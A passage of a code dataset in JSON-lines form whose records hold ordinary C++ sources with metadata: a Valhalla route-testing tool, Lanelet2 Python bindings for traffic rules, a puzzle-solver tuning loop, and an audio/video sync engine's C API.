[NARRATIVE] \");\n  valhalla::midgard::logging::Log(\"Total time: \" + GetFormattedTime(trip_directions.summary().time()),\n                                  \" [NARRATIVE] \");\n  valhalla::midgard::logging::Log((boost::format(\"Total length: %.1f %s\") %\n                                   trip_directions.summary().length() % units)\n                                      .str(),\n                                  \" [NARRATIVE] \");\n  if (origin.date_time_) {\n    valhalla::midgard::logging::Log(\"Departed at: \" + *origin.date_time_, \" [NARRATIVE] \");\n  }\n  if (destination.date_time_) {\n    valhalla::midgard::logging::Log(\"Arrived at: \" + *destination.date_time_, \" [NARRATIVE] \");\n  }\n  data.setTripTime(trip_directions.summary().time());\n  data.setTripDist(trip_directions.summary().length());\n  data.setManuevers(trip_directions.maneuver_size());\n  data.setElapsedCostSeconds(etl.node().rbegin()->cost().elapsed_cost().seconds());\n  data.setElapsedCostCost(etl.node().rbegin()->cost().elapsed_cost().cost());\n\n  return trip_directions;\n}\n\n// Main method for testing a single path\nint main(int argc, char* argv[]) {\n  bpo::options_description poptions(\n      \"valhalla_run_route \" VALHALLA_VERSION \"\\n\"\n      \"\\n\"\n      \" Usage: valhalla_run_route [options]\\n\"\n      \"\\n\"\n      \"valhalla_run_route is a simple command line test tool for shortest path routing. \"\n      \"\\n\"\n      \"Use -j option for specifying the locations and costing method and options. \"\n      \"\\n\"\n      \"\\n\");\n\n  std::string json, json_file, config;\n  bool multi_run = false;\n  bool match_test = false;\n  bool verbose_lanes = false;\n  uint32_t iterations;\n\n  poptions.add_options()(\"help,h\", \"Print this help message.\")(\"version,v\",\n                                                               \"Print the version of this software.\")(\n      \"json,j\", boost::program_options::value<std::string>(&json),\n      \"JSON Example: \"\n      \"'{\\\"locations\\\":[{\\\"lat\\\":40.748174,\\\"lon\\\":-73.984984,\\\"type\\\":\\\"break\\\",\\\"heading\\\":200,\"\n      \"\\\"name\\\":\\\"Empire State Building\\\",\\\"street\\\":\\\"350 5th Avenue\\\",\\\"city\\\":\\\"New \"\n      \"York\\\",\\\"state\\\":\\\"NY\\\",\\\"postal_code\\\":\\\"10118-0110\\\",\\\"country\\\":\\\"US\\\"},{\\\"lat\\\":40.\"\n      \"749231,\\\"lon\\\":-73.968703,\\\"type\\\":\\\"break\\\",\\\"name\\\":\\\"United Nations \"\n      \"Headquarters\\\",\\\"street\\\":\\\"405 East 42nd Street\\\",\\\"city\\\":\\\"New \"\n      \"York\\\",\\\"state\\\":\\\"NY\\\",\\\"postal_code\\\":\\\"10017-3507\\\",\\\"country\\\":\\\"US\\\"}],\\\"costing\\\":\"\n      \"\\\"auto\\\",\\\"directions_options\\\":{\\\"units\\\":\\\"miles\\\"}}'\")(\n      \"json-file\", boost::program_options::value<std::string>(&json_file),\n      \"file containing the json query\")(\"match-test\", \"Test RouteMatcher with resulting shape.\")(\n      \"multi-run\", bpo::value<uint32_t>(&iterations),\n      \"Generate the route N additional times before exiting.\")(\n      \"verbose-lanes\", bpo::bool_switch(&verbose_lanes),\n      \"Include verbose lanes output in DirectionsTest.\")\n      // positional arguments\n      (\"config\", bpo::value<std::string>(&config), \"Valhalla configuration file\");\n\n  bpo::positional_options_description pos_options;\n  pos_options.add(\"config\", 1);\n\n  bpo::variables_map vm;\n  try {\n    bpo::store(bpo::command_line_parser(argc, argv).options(poptions).positional(pos_options).run(),\n               vm);\n    bpo::notify(vm);\n  } catch (std::exception& e) {\n    std::cerr << \"Unable to parse command line options because: \" << e.what() << \"\\n\"\n              << \"This is a bug, please report it at \" PACKAGE_BUGREPORT << \"\\n\";\n    return EXIT_FAILURE;\n  }\n\n  if (vm.count(\"help\")) {\n    std::cout << poptions << \"\\n\";\n    return EXIT_SUCCESS;\n  }\n\n  if (vm.count(\"version\")) {\n    std::cout << \"valhalla_run_route \" << VALHALLA_VERSION << \"\\n\";\n    return EXIT_SUCCESS;\n  }\n\n  if (vm.count(\"match-test\")) {\n    match_test = true;\n  }\n\n  if (vm.count(\"multi-run\")) {\n    multi_run = true;\n  }\n\n  if (vm.count(\"json-file\")) {\n    if (vm.count(\"json\")) {\n      LOG_WARN(\"json and json-file option are set, using json-file content\");\n    }\n    std::ifstream ifs(json_file);\n    json.assign((std::istreambuf_iterator<char>(ifs)), (std::istreambuf_iterator<char>()));\n  }\n\n  // Grab the directions options, if they exist\n  valhalla::Api request;\n  valhalla::ParseApi(json, valhalla::Options::route, request);\n  const auto& options = request.options();\n\n  // Get type of route - this provides the costing method to use.\n  const std::string& routetype = valhalla::Costing_Enum_Name(options.costing());\n  LOG_INFO(\"routetype: \" + routetype);\n\n  // Locations\n  auto locations = valhalla::baldr::PathLocation::fromPBF(options.locations());\n  if (locations.size() < 2) {\n    throw;\n  }\n\n  // parse the config\n  boost::property_tree::ptree pt;\n  rapidjson::read_json(config.c_str(), pt);\n\n  // configure logging\n  boost::optional<boost::property_tree::ptree&> logging_subtree =\n      pt.get_child_optional(\"thor.logging\");\n  if (logging_subtree) {\n    auto logging_config =\n        valhalla::midgard::ToMap<const boost::property_tree::ptree&,\n                                 std::unordered_map<std::string, std::string>>(logging_subtree.get());\n    valhalla::midgard::logging::Configure(logging_config);\n  }\n  // Something to hold the statistics\n  uint32_t n = locations.size() - 1;\n  PathStatistics data({locations[0].latlng_.lat(), locations[0].latlng_.lng()},\n                      {locations[n].latlng_.lat(), locations[n].latlng_.lng()});\n  // Crow flies distance between locations (km)\n  float d1 = 0.0f;\n  for (uint32_t i = 0; i < n; i++) {\n    d1 += locations[i].latlng_.Distance(locations[i + 1].latlng_) * kKmPerMeter;\n  }\n  // Get something we can use to fetch tiles\n  valhalla::baldr::GraphReader reader(pt.get_child(\"mjolnir\"));\n\n  // Get the maximum distance for time dependent routes\n  float max_timedep_distance =\n      pt.get<float>(\"service_limits.max_timedep_distance\", kDefaultMaxTimeDependentDistance);\n\n  auto t0 = std::chrono::high_resolution_clock::now();\n\n  // Construct costing\n  CostFactory factory;\n  // Get the costing method - pass the JSON configuration\n  TravelMode mode;\n  auto mode_costing = factory.CreateModeCosting(options, mode);\n\n  // Find path locations (loki) for sources and targets\n  auto tw0 = std::chrono::high_resolution_clock::now();\n  loki_worker_t lw(pt);\n  auto tw1 = std::chrono::high_resolution_clock::now();\n  auto msw = std::chrono::duration_cast<std::chrono::milliseconds>(tw1 - tw0).count();\n  LOG_INFO(\"Location Worker construction took \" + std::to_string(msw) + \" ms\");\n\n  auto tl0 = std::chrono::high_resolution_clock::now();\n  lw.route(request);\n  auto tl1 = std::chrono::high_resolution_clock::now();\n  auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(tl1 - tl0).count();\n  LOG_INFO(\"Location Processing took \" + std::to_string(ms) + \" ms\");\n\n  // Get the route\n  TimeDepForward astar;\n  BidirectionalAStar bd;\n  MultiModalPathAlgorithm mm;\n  TimeDepForward timedep_forward;\n  TimeDepReverse timedep_reverse;\n  for (uint32_t i = 0; i < n; i++) {\n    // Set origin and destination for this segment\n    valhalla::Location origin = options.locations(i);\n    valhalla::Location dest = options.locations(i + 1);\n\n    PointLL ll1(origin.ll().lng(), origin.ll().lat());\n    PointLL ll2(dest.ll().lng(), dest.ll().lat());\n\n    // Choose path algorithm\n    PathAlgorithm* pathalgorithm;\n    if (routetype == \"multimodal\") {\n      pathalgorithm = &mm;\n    } else {\n      // Use time dependent algorithms if date time is present\n      // TODO - this isn't really correct for multipoint routes but should allow\n      // simple testing.\n      if (options.has_date_time() && ll1.Distance(ll2) < max_timedep_distance &&\n          (options.date_time_type() == valhalla::Options_DateTimeType_depart_at ||\n           options.date_time_type() == valhalla::Options_DateTimeType_current)) {\n        pathalgorithm = &timedep_forward;\n      } else if (options.date_time_type() == valhalla::Options_DateTimeType_arrive_by &&\n                 ll1.Distance(ll2) < max_timedep_distance) {\n        pathalgorithm = &timedep_reverse;\n      } else {\n        // Use bidirectional except for trivial cases (same edge or connected edges)\n        pathalgorithm = &bd;\n        for (auto& edge1 : origin.path_edges()) {\n          for (auto& edge2 : dest.path_edges()) {\n            if (edge1.graph_id() == edge2.graph_id() ||\n                reader.AreEdgesConnected(GraphId(edge1.graph_id()), GraphId(edge2.graph_id()))) {\n              pathalgorithm = &astar;\n            }\n          }\n        }\n      }\n    }\n    bool using_astar = (pathalgorithm == &astar || pathalgorithm == &timedep_forward ||\n                        pathalgorithm == &timedep_reverse);\n    bool using_bd = pathalgorithm == &bd;\n\n    // Get the best path\n    const valhalla::TripLeg* trip_path = nullptr;\n    try {\n      trip_path = PathTest(reader, origin, dest, pathalgorithm, mode_costing, mode, data, multi_run,\n                           iterations, using_astar, using_bd, match_test, routetype, request);\n    } catch (std::runtime_error& rte) { LOG_ERROR(\"trip_path not found\"); }\n\n    // If successful get directions\n    if (trip_path && trip_path->node_size() != 0) {\n\n      // Write the path.pbf if requested\n      if (get_env(\"SAVE_PATH_PBF\") == \"true\") {\n        std::string path_bytes = request.SerializeAsString();\n        std::string pbf_filename = \"path.pbf\";\n        LOG_INFO(\"Writing TripPath to \" + pbf_filename + \" with size \" +\n                 std::to_string(path_bytes.size()));\n        std::ofstream output_pbf(pbf_filename, std::ios::out | std::ios::trunc | std::ios::binary);\n        if (output_pbf.is_open() && path_bytes.size() > 0) {\n          output_pbf.write(&path_bytes[0], path_bytes.size());\n          output_pbf.close();\n        } else {\n          std::cerr << \"Failed to write \" << pbf_filename << std::endl;\n          return EXIT_FAILURE;\n        }\n      }\n\n      // Try the the directions\n      auto t1 = std::chrono::high_resolution_clock::now();\n      const auto& trip_directions = DirectionsTest(request, origin, dest, data, verbose_lanes);\n      auto t2 = std::chrono::high_resolution_clock::now();\n      auto msecs = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t1).count();\n\n      auto trip_time = trip_directions.summary().time();\n      auto trip_length = trip_directions.summary().length() * 1609.344f;\n      LOG_INFO(\"trip_processing_time (ms)::\" + std::to_string(msecs));\n      LOG_INFO(\"trip_time (secs)::\" + std::to_string(trip_time));\n      LOG_INFO(\"trip_length (meters)::\" + std::to_string(trip_length));\n      data.setSuccess(\"success\");\n    } else {\n      // Route was unsuccessful\n      data.setSuccess(\"fail_no_route\");\n    }\n  }\n\n  // Set the arc distance. Convert to miles if needed\n  if (options.units() == valhalla::Options::miles) {\n    d1 *= kMilePerKm;\n  }\n  data.setArcDist(d1);\n\n  // Time all stages for the stats file: location processing,\n  // path computation, trip path building, and directions\n  auto t2 = std::chrono::high_resolution_clock::now();\n  auto msecs = std::chrono::duration_cast<std::chrono::milliseconds>(t2 - t0).count();\n  LOG_INFO(\"Total time= \" + std::to_string(msecs) + \" ms\");\n  data.addRuntime(msecs);\n  data.log();\n\n  // Shutdown protocol buffer library\n  google::protobuf::ShutdownProtobufLibrary();\n\n  return EXIT_SUCCESS;\n}\n", "meta": {"hexsha": "b4d4b3b286403db4261e652a26b6717e8af38c3e", "size": 29899, "ext": "cc", "lang": "C++", "max_stars_repo_path": "src/valhalla_run_route.cc", "max_stars_repo_name": "mesozoic-drones/valhalla", "max_stars_repo_head_hexsha": "cafc34e63f3189d017348391a18847e8250d2b30", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/valhalla_run_route.cc", "max_issues_repo_name": "mesozoic-drones/valhalla", "max_issues_repo_head_hexsha": "cafc34e63f3189d017348391a18847e8250d2b30", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/valhalla_run_route.cc", "max_forks_repo_name": "mesozoic-drones/valhalla", "max_forks_repo_head_hexsha": "cafc34e63f3189d017348391a18847e8250d2b30", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.6791720569, "max_line_length": 102, "alphanum_fraction": 0.6053714171, "num_tokens": 7425, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5851011397337391, "lm_q2_score": 0.20689403903542758, "lm_q1q2_score": 0.12105393804374538}}
{"text": "#include <lanelet2_core/primitives/Area.h>\n#include <lanelet2_core/utility/Units.h>\n#include <lanelet2_traffic_rules/TrafficRules.h>\n#include <lanelet2_traffic_rules/TrafficRulesFactory.h>\n#include <boost/python.hpp>\n\nusing namespace boost::python;\nusing namespace lanelet;\nusing namespace lanelet::traffic_rules;\n\nSpeedLimitInformation makeSpeedLimit(double speedLimitKph, bool isMandatory) {\n  return SpeedLimitInformation{Velocity(speedLimitKph * units::KmH()), isMandatory};\n}\n\ndouble getVelocity(const SpeedLimitInformation& self) { return units::KmHQuantity(self.speedLimit).value(); }\n\nvoid setVelocity(SpeedLimitInformation& self, double velocityKmh) {\n  self.speedLimit = Velocity(velocityKmh * units::KmH());\n}\n\ntemplate <typename T>\nbool canPassWrapper(const TrafficRules& self, const T& llt) {\n  return self.canPass(llt);\n}\ntemplate <typename T1, typename T2>\nbool canPassFromToWrapper(const TrafficRules& self, const T1& from, const T2& to) {\n  return self.canPass(from, to);\n}\n\ntemplate <typename T>\nSpeedLimitInformation speedLimitWrapper(const TrafficRules& self, const T& llt) {\n  return self.speedLimit(llt);\n}\nbool isOneWayWrapper(const TrafficRules& self, const ConstLanelet& llt) { return self.isOneWay(llt); }\nbool hasDynamicRulesWrapper(const TrafficRules& self, const ConstLanelet& llt) { return self.hasDynamicRules(llt); }\n\nTrafficRulesPtr createTrafficRulesWrapper(const std::string& location, const std::string& participant) {\n  return TrafficRulesFactory::create(location, participant);\n}\n\ntemplate <const char Val[]>\nstd::string asString() {\n  return Val;\n}\n\nBOOST_PYTHON_MODULE(PYTHON_API_MODULE_NAME) {  // NOLINT\n  auto core = import(\"lanelet2.core\");\n\n  class_<SpeedLimitInformation>(\"SpeedLimitInformation\", \"Current speed limit as returned by a traffic rule object\")\n      .def(\"__init__\", makeSpeedLimit,\n           \"Initialize from speed limit [m/s] and bool if speedlimit is \"\n           \"mandatory\")\n      .add_property(\"speedLimit\", getVelocity, setVelocity, \"velocity in km/h\")\n      .add_property(\"isMandatory\", &SpeedLimitInformation::isMandatory,\n                    \"True if speedlimit is not just a recommendation\")\n      .def(self_ns::str(self_ns::self));\n\n  class_<TrafficRules, boost::noncopyable, std::shared_ptr<TrafficRules>>(\"TrafficRules\", no_init)\n      .def(\"canPass\", canPassWrapper<ConstLanelet>, \"Returns whether it is allowed to pass/drive on this lanelet\")\n      .def(\"canPass\", canPassWrapper<ConstArea>, \"Returns whether it is allowed to pass/drive on this area\")\n      .def(\"canPass\", canPassFromToWrapper<ConstLanelet, ConstLanelet>,\n           \"Returns whether it is allowed to drive from first to second lanelet\")\n      .def(\"canPass\", canPassFromToWrapper<ConstLanelet, ConstArea>)\n      .def(\"canPass\", canPassFromToWrapper<ConstArea, ConstArea>)\n      .def(\"canPass\", canPassFromToWrapper<ConstArea, ConstLanelet>)\n      .def(\"canChangeLane\", &TrafficRules::canChangeLane,\n           \"determines if a lane change can be made between two lanelets\")\n      .def(\"speedLimit\", speedLimitWrapper<ConstLanelet>, \"get speed limit of this lanelet\")\n      .def(\"speedLimit\", speedLimitWrapper<ConstArea>, \"get speed limit of this lanelet\")\n      .def(\"isOneWay\", isOneWayWrapper, \"returns whether a lanelet can be driven in one direction only\")\n      .def(\"hasDynamicRules\", hasDynamicRulesWrapper,\n           \"returns whether dynamic traffic rules apply to this lanelet that \"\n           \"can not be understood by this traffic rules object\")\n      .def(\"location\", &TrafficRules::location, return_value_policy<copy_const_reference>(),\n           \"Location these rules are valid for\")\n      .def(\"participant\", &TrafficRules::participant, return_value_policy<copy_const_reference>(),\n           \"Participants the rules are valid for\")\n      .def(self_ns::str(self_ns::self));\n\n  class_<Locations>(\"Locations\").add_static_property(\"Germany\", asString<Locations::Germany>);\n\n  class_<Participants>(\"Participants\")\n      .add_static_property(\"Vehicle\", asString<Participants::Vehicle>)\n      .add_static_property(\"VehicleCar\", asString<Participants::VehicleCar>)\n      .add_static_property(\"VehicleCarElectric\", asString<Participants::VehicleCarElectric>)\n      .add_static_property(\"VehicleCarCombustion\", asString<Participants::VehicleCarCombustion>)\n      .add_static_property(\"VehicleBus\", asString<Participants::VehicleBus>)\n      .add_static_property(\"VehicleTruck\", asString<Participants::VehicleTruck>)\n      .add_static_property(\"VehicleMotorcycle\", asString<Participants::VehicleMotorcycle>)\n      .add_static_property(\"VehicleTaxi\", asString<Participants::VehicleTaxi>)\n      .add_static_property(\"VehicleEmergency\", asString<Participants::VehicleEmergency>)\n      .add_static_property(\"Bicycle\", asString<Participants::Bicycle>)\n      .add_static_property(\"Pedestrian\", asString<Participants::Pedestrian>)\n      .add_static_property(\"Train\", asString<Participants::Train>);\n\n  def(\"create\", createTrafficRulesWrapper,\n      \"Create a traffic rules object from location and participant string (see \"\n      \"Locations and Participants class\");\n}\n", "meta": {"hexsha": "e7b102da1ac00dbe239dad8b68cb270cfe78bf08", "size": 5115, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "lanelet2_python/python_api/traffic_rules.cpp", "max_stars_repo_name": "icolwell-as/Lanelet2", "max_stars_repo_head_hexsha": "0e2e222352936cd70a9fab5256684a97c3091996", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 7.0, "max_stars_repo_stars_event_min_datetime": "2019-06-10T14:15:27.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-17T00:38:24.000Z", "max_issues_repo_path": "lanelet2_python/python_api/traffic_rules.cpp", "max_issues_repo_name": "icolwell-as/Lanelet2", "max_issues_repo_head_hexsha": "0e2e222352936cd70a9fab5256684a97c3091996", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lanelet2_python/python_api/traffic_rules.cpp", "max_forks_repo_name": "icolwell-as/Lanelet2", "max_forks_repo_head_hexsha": "0e2e222352936cd70a9fab5256684a97c3091996", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2021-06-01T21:08:37.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-01T21:08:37.000Z", "avg_line_length": 51.15, "max_line_length": 116, "alphanum_fraction": 0.7479960899, "num_tokens": 1215, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.23651624182730094, "lm_q1q2_score": 0.12102928822525573}}
{"text": "#include <algorithm>\n#include <atomic>\n#include <cstdlib>\n#include <iostream>\n#include <string>\n#include <stdexcept>\n#include <thread>\n#include <unordered_set>\n#include <vector>\n\n#include <boost/program_options.hpp>\n#include <boost/format.hpp>\n\n#include <tbb/parallel_for.h>\n\n#include \"slide/KurageBoard.hpp\"\n#include \"slide/KurageSolver.hpp\"\n\n#include \"util/define.hpp\"\n#include \"util/Random.hpp\"\n#include \"util/StopWatch.hpp\"\n\n\nstruct Config\n{\n    std::size_t H;\n    std::size_t W;\n    int selectionLimit;\n    bool verbose;\n};\n\nConfig parseCommand(int argc, const char* const argv[])\n{\n    namespace po = boost::program_options;\n\n    po::options_description opt(\"Allowed options\");\n    Config config;\n\n    opt.add_options()\n        (\"help\",                                                                             \"print this help message\")\n        (\"height,h\",              po::value<std::size_t>(&config.H)->default_value(4u),      \"height of the board\")\n        (\"width,w\",               po::value<std::size_t>(&config.W)->default_value(4u),      \"width of the board\")\n        (\"max_selection_limit,l\", po::value<int>(&config.selectionLimit)->default_value(16), \"maximum limit time of the selection\")\n        (\"verbose,v\",                                                                        \"A lot printing\")\n    ;\n\n    po::variables_map vm;\n    po::store(po::parse_command_line(argc, argv, opt), vm);\n    po::notify(vm);\n\n    // show help\n    if(vm.count(\"help\")){\n        std::cerr << opt << std::endl;\n        std::exit(EXIT_SUCCESS);\n    }\n\n    config.verbose = vm.count(\"verbose\");\n    return config;\n}\n\nslide::Problem setProblem(int selectionLimit)\n{\n    const int swappingCost   = util::Random::nextInt(MIN_SWAPPING_COST,   MAX_SWAPPING_COST);\n    const int selectionCost  = util::Random::nextInt(MIN_SELECTION_COST,  MAX_SELECTION_COST);\n\n    slide::Problem problem(8, 8, swappingCost, selectionCost, selectionLimit);\n    problem.board = slide::Board<slide::Flexible>::randomState(8, 8);\n\n    return problem;\n}\n\ndouble measure()\n{\n    std::atomic_int sum(0);\n    std::atomic_int cnt(0);\n\n    tbb::parallel_for(0, 100, [&](int){\n        bool solved = false;\n        slide::KurageSolver solver(setProblem(2));\n        solver.retry = false;\n\n        solver.onCreatedAnswer = [&](const slide::Answer& answer){\n            if(!solved){\n                sum += answer.size();\n                ++cnt;\n                std::cerr << answer.size() << ' ';\n                solved = true;\n            }\n        };\n\n        solver.solve();\n        if(!solved){\n            std::cerr << \"! \";\n        }\n    });\n\n    const double score = double(sum.load()) / cnt.load();\n    std::cerr << \"\\navg = \" << score << std::endl;\n    return score;\n}\n\nint main(int argc, const char* const argv[])\n{\n    using KurageBoard = slide::KurageBoard<8, 8>;\n\n    const Config config = parseCommand(argc, argv);\n    slide::KurageSolver::verbose = false;\n\n    const float coef[5] = {15.0f, 1.0f, 30.0f, 12.0f, 2.0f};\n    std::copy_n(coef, 5, KurageBoard::coefficients);\n\n    for(int c=0;; ++c){\n        double preScore = 1e100;\n        double increment = true;\n\n        for(int r=0; r<20; ++r){\n\n            const int param_id = 3 - c % 4;\n            const float pre = KurageBoard::coefficients[param_id];\n            KurageBoard::coefficients[param_id] *= (increment ? 1.5f : 0.7f) * (20-r) / 20.0;\n\n            for(float c : KurageBoard::coefficients){\n                std::cout << c << \", \";\n            }\n            std::cout << std::endl;\n\n            const double score = measure();\n            if(score > preScore){\n                KurageBoard::coefficients[param_id] = pre;\n                increment = !increment;\n            }\n            else{\n                preScore = score;\n            }\n            std::cerr << std::endl;\n        }\n    }\n\n    return EXIT_SUCCESS;\n}\n", "meta": {"hexsha": "55d1ede5e91ede73ac5db0d19d145455cda93fd2", "size": 3865, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "solver/exe/kurage_chuning.cpp", "max_stars_repo_name": "taiheioki/procon2014_ut", "max_stars_repo_head_hexsha": "8199ff0a54220f1a0c51acece377f65b64db4863", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2021-04-14T06:41:18.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-29T01:56:08.000Z", "max_issues_repo_path": "solver/exe/kurage_chuning.cpp", "max_issues_repo_name": "taiheioki/procon2014_ut", "max_issues_repo_head_hexsha": "8199ff0a54220f1a0c51acece377f65b64db4863", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "solver/exe/kurage_chuning.cpp", "max_forks_repo_name": "taiheioki/procon2014_ut", "max_forks_repo_head_hexsha": "8199ff0a54220f1a0c51acece377f65b64db4863", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.4113475177, "max_line_length": 131, "alphanum_fraction": 0.5539456662, "num_tokens": 938, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.2309197682220399, "lm_q1q2_score": 0.1208681056590752}}
{"text": "#include \"neuon/neuon_c.h\"\n\n#include \"neuon_cxx.h\"\n#include \"configuration.h\"\n\n#include \"composer.h\"\n#include \"speech_detection.h\"\n#include \"face_detection.h\"\n#include \"model.h\"\n#include \"tensorflow_api.h\"\n#include \"tensorflow_static.h\"\n#include \"license.h\"\n#include \"demo.h\"\n#include \"log.h\"\n#include \"birthday.h\"\n\n#include <boost/filesystem.hpp>\n\n#include \"dlib/image_processing.h\"\n\n#include <json/json.h>\n\nstruct neuon_context_t{\n    std::unique_ptr<neuon::neuon_t> engine;\n};\n\nuint64_t neuon_estimate_target_audio_samplerate(neuon_microseconds_t video_frame_duration) {\n    return neuon::target_audio_samplerate(std::chrono::microseconds(video_frame_duration));\n}\n\nneuon_context_t *neuon_create_engine(const char *model_filename, const char *norma_filename, const char *landmark_filepath, const char *license_filename, const neuon_options_t *options, neuon_logging_t* app_log, neuon_user_data_t *user_data) {\n    if(!app_log){\n        return nullptr;\n    }\n\n    auto log = neuon::log_t(app_log);\n\n    log.debug() << \"Try to open license file if available...\";\n\n    std::string license_payload;\n    if (license_filename) {\n        std::ifstream license_file(license_filename);\n        if(license_file){\n            std::getline(license_file, license_payload);\n        }\n    }\n\n    log.debug() << \"Try to read license information...\";\n    common::license_t license(license_payload);\n    if (license.demo()) {\n        common::demo_t demo(neuon::birthday);\n        if(demo.has_expired){\n            log.error() << \"Demo time period limit exceeded! Please contact the seller.\";\n            return nullptr;\n        }\n    }\n\n    log.debug() << \"Try to open neural network model...\";\n    std::ifstream model_file(model_filename, std::ios::binary);\n    if(!model_file){\n        log.error() << \"Neural network model file is not available. Check the path and permissions for \" << model_filename;\n        return nullptr;\n    }\n\n    log.debug() << \"Try to open face landmark database...\";\n    std::ifstream landmark_file(landmark_filepath, std::ios::binary);\n    if (!landmark_file) {\n        log.error() << \"Face landmark database file is not available. Check the path and permissions for \" << landmark_filepath;\n        return nullptr;\n    }\n\n    log.debug() << \"Try to open normalization parameters...\";\n    std::ifstream norma_file(norma_filename, std::ios::binary);\n    if (!norma_file) {\n        log.error() << \"Normalization parameters file is not available. Check the path and permissions for \" << norma_filename;\n        return nullptr;\n    }\n\n    log.debug() << \"Read normalization parameters...\";\n    Json::Value root;\n    norma_file >> root;\n\n    neuon::normalization_t normalization{};\n    normalization.audio.min = root[\"audio\"][\"min\"].asDouble();\n    normalization.audio.max = root[\"audio\"][\"max\"].asDouble();\n    normalization.audio.mean = root[\"audio\"][\"mean\"].asDouble();\n    normalization.audio.std = root[\"audio\"][\"std\"].asDouble();\n\n    normalization.video.min = root[\"video\"][\"min\"].asDouble();\n    normalization.video.max = root[\"video\"][\"max\"].asDouble();\n    normalization.video.mean = root[\"video\"][\"mean\"].asDouble();\n    normalization.video.std = root[\"video\"][\"std\"].asDouble();\n\n    log.debug() << \"Face detection engine initialization...\";\n    std::unique_ptr<neuon::face_detection_t> face_detection(new neuon::face_detection_t(neuon::video_width_per_entry, neuon::video_height_per_entry, landmark_file));\n\n    log.debug() << \"Speech detection engine initialization...\";\n    const std::chrono::microseconds audio_slice(static_cast<uint64_t>(std::round(neuon::fft_samples_per_entry * 1000000.0 / options->target_audio_samplerate)));\n    std::unique_ptr<neuon::speech_detection_t> speech_detection(new neuon::speech_detection_t(options->target_audio_samplerate, audio_slice, neuon::audio_slice_overlap, neuon::audio_features_per_entry));\n\n    if(speech_detection->sample_count != neuon::fft_samples_per_entry){\n        log.error() << \"Engine could not initializate speech detection engine properly due to rounding error. Report an issue and provide the media file causing the issue. \";\n        return nullptr;\n    }\n\n    log.debug() << \"Read neural network model...\";\n    std::vector<uint8_t> model_payload(boost::filesystem::file_size(model_filename));\n    model_file.read(reinterpret_cast<char *>(model_payload.data()), model_payload.size());\n\n    log.debug() << \"Load neural network model...\";\n    std::shared_ptr<neuon::model_t> model = std::make_shared<neuon::model_t>(std::make_shared<tensorflow::static_backend_t>(), model_payload, normalization);\n\n    log.debug() << \"Initialize A/V Sync Engine...\";\n    std::unique_ptr<neuon::composer_t> composer(\n        new neuon::composer_t(\n            neuon::video_frames_per_entry,\n            neuon::audio_samples_per_entry,\n            [model, user_data, log](\n                const dlib::matrix<uint8_t> &video_set,\n                const std::chrono::microseconds &first_video_pts,\n                const std::chrono::microseconds &last_video_pts,\n                const dlib::matrix<double> &audio_set,\n                const std::chrono::microseconds &first_audio_pts,\n                const std::chrono::microseconds last_audio_pts) {\n\n                    log.debug() << \"The next data sample is evaluated. Video PTS: \" << first_video_pts.count() << \" - \"<< last_video_pts.count() << \"Audio PTS : \" << first_audio_pts.count() << \" - \"<< last_audio_pts.count();\n                    auto prediction = model->predict(video_set, {1, neuon::video_frames_per_entry, neuon::video_height_per_entry, neuon::video_width_per_entry, 1}, audio_set, {1, neuon::audio_derivation_per_entry, neuon::audio_samples_per_entry, neuon::audio_features_per_entry, 1});\n                    neuon_outcome_t outcome{neuon_microseconds_t(first_video_pts.count()), prediction[0]};\n                    user_data->on_result(user_data, &outcome);\n                }\n            )\n        );\n\n    log.debug() << \"Engine content initialization.\";\n    return new neuon_context_t{std::unique_ptr<neuon::neuon_t>{new neuon::neuon_t{std::move(face_detection), std::move(speech_detection), std::move(composer)}}};\n}\n\nvoid neuon_free_engine(neuon_context_t * context) {\n    delete context;\n}\n\nvoid neuon_put_video(const neuon_context_t *context, const uint8_t *p, size_t bytes, size_t width, size_t height, size_t stride, neuon_microseconds_t pts) {\n    neuon::video_sample_t sample{p, bytes, width, height, stride, std::chrono::microseconds(pts)};\n    context->engine->put(sample);\n}\n\nvoid neuon_put_audio(const neuon_context_t *context, const uint8_t *p, size_t bytes, size_t samples, neuon_microseconds_t pts) {\n    neuon::audio_sample_t sample{p, bytes, samples, std::chrono::microseconds(pts)};\n    context->engine->put(sample);\n}\n", "meta": {"hexsha": "30060a10beedd1a596c16f24b8ef2b17c060a7dd", "size": 6766, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "sources/src/neuon_c.cpp", "max_stars_repo_name": "sergeyrachev/neuon", "max_stars_repo_head_hexsha": "71db22ac607cdd14ad51678b437d70ff08395a28", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9.0, "max_stars_repo_stars_event_min_datetime": 